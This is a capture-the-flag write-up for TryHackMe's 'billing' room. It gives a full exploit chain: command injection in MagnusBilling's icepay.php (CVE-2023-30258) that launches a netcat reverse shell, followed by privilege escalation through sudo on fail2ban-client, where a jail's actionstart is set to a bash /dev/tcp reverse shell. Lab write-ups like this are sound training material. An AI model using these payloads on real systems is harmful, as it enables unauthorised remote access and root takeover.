TryHackMe CTF: billing (Easy)

URL: https://tryhackme.com/room/billing Easy
PHASE 1: Reconnaissance
Description of the room:
Some mistakes can be costly. Note: Bruteforcing is out of scope for this room.
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sC -sV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-title: MagnusBilling
|_Requested resource was http://10.10.44.189/mbilling/
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x
And it didn’t find ANY subfolders.
Also see: gobuster.log
Running: nikto
Ran the following:
nikto -h x.x.x.x -p 80
Not much of anything interesting info found on :80:
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: ./mbilling
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ 8075 requests: 0 error(s) and 3 item(s) reported on remote host
Also see: nikto.log
MagnusBilling
When you navigate to the website, you see MagnusBilling as the product name. So, I did run:
searchsploit magnus
And that did have a hit.
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
MagnusSolution magnusbilling 7.3.0 - Command Injecti | multiple/webapps/52170.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
There is CVE-2023-30258. In short, the icepay.php page accepts a democ query string argument where it runs arbitrary commands (RCE). So, we should be able to get a reverse shell that way, in theory?
CVE-2023-30258 is a critical command-injection flaw in MagnusSolution’s MagnusBilling 6.x and 7.x products that allows unauthenticated remote attackers to execute arbitrary operating-system commands via specially crafted HTTP requests.
The vulnerability stems from improper sanitization of a user-supplied parameter in the lib/icepay/icepay.php component, where an unvalidated exec() call incorporates attacker-controlled input, effectively granting full command-execution capabilities under the web-server’s privileges (commonly www-data or asterisk).
With a CVSS 3.1 score of 9.8 (Critical) and an EPSS exploitability rating above 93%, successful exploitation can lead to complete system compromise including unauthorized data access, service disruption, and privilege escalation within the billing environment
PHASE 3: Gaining Access
I set up a NetCat listener on port :8000 to catch the reverse shell:
nv -lvnp 8000
From my workstation still, with Burp, cURL, or even in the browser, craft a URL like this:
http://x.x.x.x/mbilling/lib/icepay/icepay.php?democ=testfile; nc <MY_WS_IP> 8000 -e /bin/sh &
When I initially tried this it would connect and immediately disconnect. So, I appended the & to kick off the NetCat reverse shell process in the background. And voila, we have a connnection! Terrible quality - we don’t see a prompt, but type pwd, id, or whoami we can see we have a shell as the unprivileged asterisk account.
Unprivileged Access
We have a rudimentary connection, so let’s try to upgrade it:
python3 -c "import pty; pty.spawn('/bin/bash')"
Do CTRL+Z, then type:
stty raw -echo ; fg
That will give you a more stable prompt. It’s not as good as an SSH session, but it’s better than raw input/output. I found that I couldn’t use clear because the TERM environment variable is still set to dumb. So, we can also upgrade the terminal capabilities with:
export TERM=vt100
We know from the /etc/passwd file that the asterisk account doesn’t have a home directory:
asterisk:x:1001:1001:Asterisk PBX:/var/lib/asterisk:/sbin/nologin
However still, one of the first places I’ll go and look is in /home/ to see if we can get other usernames and see if there are any files that we can see. And sure enough, we can see a /home/magnus/ folder, and in there is the user.txt that we need to partially solve the room!
asterisk@Billing:/home/magnus$ ls -l
total 36
drwx------ 2 magnus magnus 4096 Mar 27 2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27 2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27 2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27 2024 Music
drwx------ 2 magnus magnus 4096 Mar 27 2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27 2024 Public
drwx------ 2 magnus magnus 4096 Mar 27 2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27 2024 Videos
-rw-r--r-- 1 magnus magnus 38 Mar 27 2024 user.txt
Privilege Escalation
One of the first places to look is to run sudo -l to list any sudo privileges that we have:
Matching Defaults entries for asterisk on Billing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
OK, so it looks like if we can somehow exploit fail2ban-client, then we should be able to get PE.
Fail2ban is an Intrusion Detection System (IDS) and Intrusion Prevention System (IPS) that works by monitoring the logs of various services. When it detects so many “unauthorized” attempts within a certain timeframe, it triggers the banaction, which is typically banning the offending IP address for some time.
Before we move on, let’s set up NetCat on our workstation to listen on port :9000 for the incoming reverse shell:
nc -lvnp 9000
Create a Custom Jail
Since we have sudo access to fail2ban, we’re going to just create an empty “jail”, and what that jail does when it starts up is - connect to my workstation with a reverse shell. Since fail2ban is running as the root user, that means that will be a shell running as the root user.
# Create a new jail
sudo fail2ban-client add myjail tcp \
filter sshd \
logpath /var/log/auth.log \
maxretry 3 \
findtime 600 \
bantime 3600
# Set a default action (required, before we can override it)
sudo fail2ban-client set myjail addaction iptables-multiport
# Then, we can override the "actionstart" to kick off our reverse shelll
sudo fail2ban-client set myjail \
action iptables-multiport \
actionstart "/bin/bash -c 'bash -i >& /dev/tcp/<MY_WS_IP>/9000 0>&1'"
Start the Jail. Pop a shell!
Once defined, we just need to start the jail:
# Start the jail to trigger the reverse shell
sudo fail2ban-client start myjail
Immediately once the jail starts, it will execute the reverse shell and connect back to the Netcat listener on my workstation.
So all we did here was create a temporary, in-memory fail2ban “jail”. We overrode it so that when it starts, it will run that bash command that connects to our workstation, and runs the bash command, redirecting STDOUT and STDID to the remote host (our workstation). Since fail2ban runs as root, that bash prompt will be running as root too.
Now that we have a root prompt, we can navigate to /root/root.txt to get the flag to finish this room.